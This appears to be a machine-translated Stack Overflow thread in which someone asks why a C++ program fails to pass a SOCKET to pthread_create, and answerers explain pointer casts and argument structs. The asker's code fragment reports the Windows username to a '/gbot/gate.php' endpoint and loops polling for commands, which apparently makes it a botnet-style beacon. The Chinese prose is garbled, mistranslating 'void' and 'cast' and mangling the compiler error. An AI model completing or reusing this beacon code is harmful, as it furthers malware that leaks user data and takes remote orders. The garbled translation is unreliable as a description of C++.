2013-04-10 53 views
0
void* sendFirstReq(SOCKET Socket){ 
     char buffer[10000]; 
     string mybuf("GET /gbot/gate.php?page=ident&os="); 
     if(getenv("windir") != NULL){ 
      mybuf += "windows&username="; 
      mybuf += getenv("username"); 
      mybuf += "&version=win"; 
      mybuf += "\r\n\r\n"; 
     } 
     else 
      mybuf += "linux\r\n\r\n"; 
     send(Socket, mybuf.c_str(), mybuf.length(), 0); 
     recv(Socket, buffer, 10000, 0); 
     cout << buffer; 
} 

void* sendSecReq(SOCKET Socket){ 
    char buffer[10000]; 
    string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n"); 
    send(Socket, mybuf.c_str(), mybuf.length(), 0); 
    recv(Socket, buffer, 10000, 0); 
    cout << buffer; 
} 

while(true) 
    { 
     pthread_t t1; 
     pthread_t t2; 
     pthread_create(&t1, NULL, &sendFirstReq, NULL); 
     pthread_create(&t1, NULL, &sendSecReq, NULL); 
     _sleep(5000); 
    } 

这是我项目中的一段代码。 我想多线程,但我得到一堆错误。 首先,void *函数必须得到一个void * arg,所以我可以发送SOCKET throgh? 而另一错误是:C++多线程错误和SOCKET

初始化的`INT在pthread_create(的pthread_t *, pthread_attr_t_ * const的*,无效*()(空隙),无效*)”

和论证3我不知道如何解决它,谢谢你的帮助。

回答

1

当你实现多线程时,请确保发送和接收不同的套接字! 也就是说,最好的方式来传递一个void *参数是一个结构,但我相信你可以在无效*发送不同的数据类型,只是一定要切它

例子:

void* sendFirstReq(void* arg); 
SOCKET socket; 
pthread_t a; 
pthread_create(&a,NULL,sendFirstReq(),(void*)&socket); 

和在sendFirstReq()中,分片参数 (SOCKET *)arg;

看到这个:: Passing parameter to pthread

+1

你的意思是“投”,而不是“切片”。切片在C++中是不同的。另请注意,从T *到void *的转换是隐含的。反过来需要一个演员,而且应该是一个static_cast 。如果可以避免使用C风格的演员阵容,那么他​​们很危险。 – 2013-04-10 18:59:05

+0

谢谢,我没有使用它,因为上述通常为我工作:) – 2013-04-11 02:27:14

+1

是的,你会演员工作,毫无疑问。问题是如果你写了例如“(void *)socket”而不是“(void *)&socket”,编译器不会告诉你。如果您尝试使用static_cast,编译器会发出抱怨。 – 2013-04-11 04:29:54

1

这将帮助,如果你分割窝部件和多线程的一部分,所以你可以单独处理它们。多线程的问题在于,你必须使用一个函数,并为POSIX线程返回一个void指针。有两种方式可以通过这个来传递其他的东西。第一种方式是分配的结构,并通过一个指向它在pthread_create:

void* thread_function(void* p) 
{ 
    mydata* ps = static_cast<mydata*>(p); 
    ... 
} 

mydata s = ...; 
pthread_create(..., thread_function, &s); 

事情看出来这里是s有一个范围,你必须确保它保持活跃,而线程正在使用它。这可能需要使用新的动态分配,这反过来需要小心以避免造成内存泄漏。它适用于小整数的另一种方法是直接将它们作为指针:

void* thread_function(void* p) 
{ 
    int x = reinterpret_cast<int>(p); 
    ... 
} 

int x = ...; 
assert(sizeof x <= sizeof (void*)); 
pthread_create(..., thread_function, reinterpret_cast<void*>(x)); 

由于SOCKET是不超过一个指针的整数,你应该能够做到这一点,这可能是最简单的工作方式。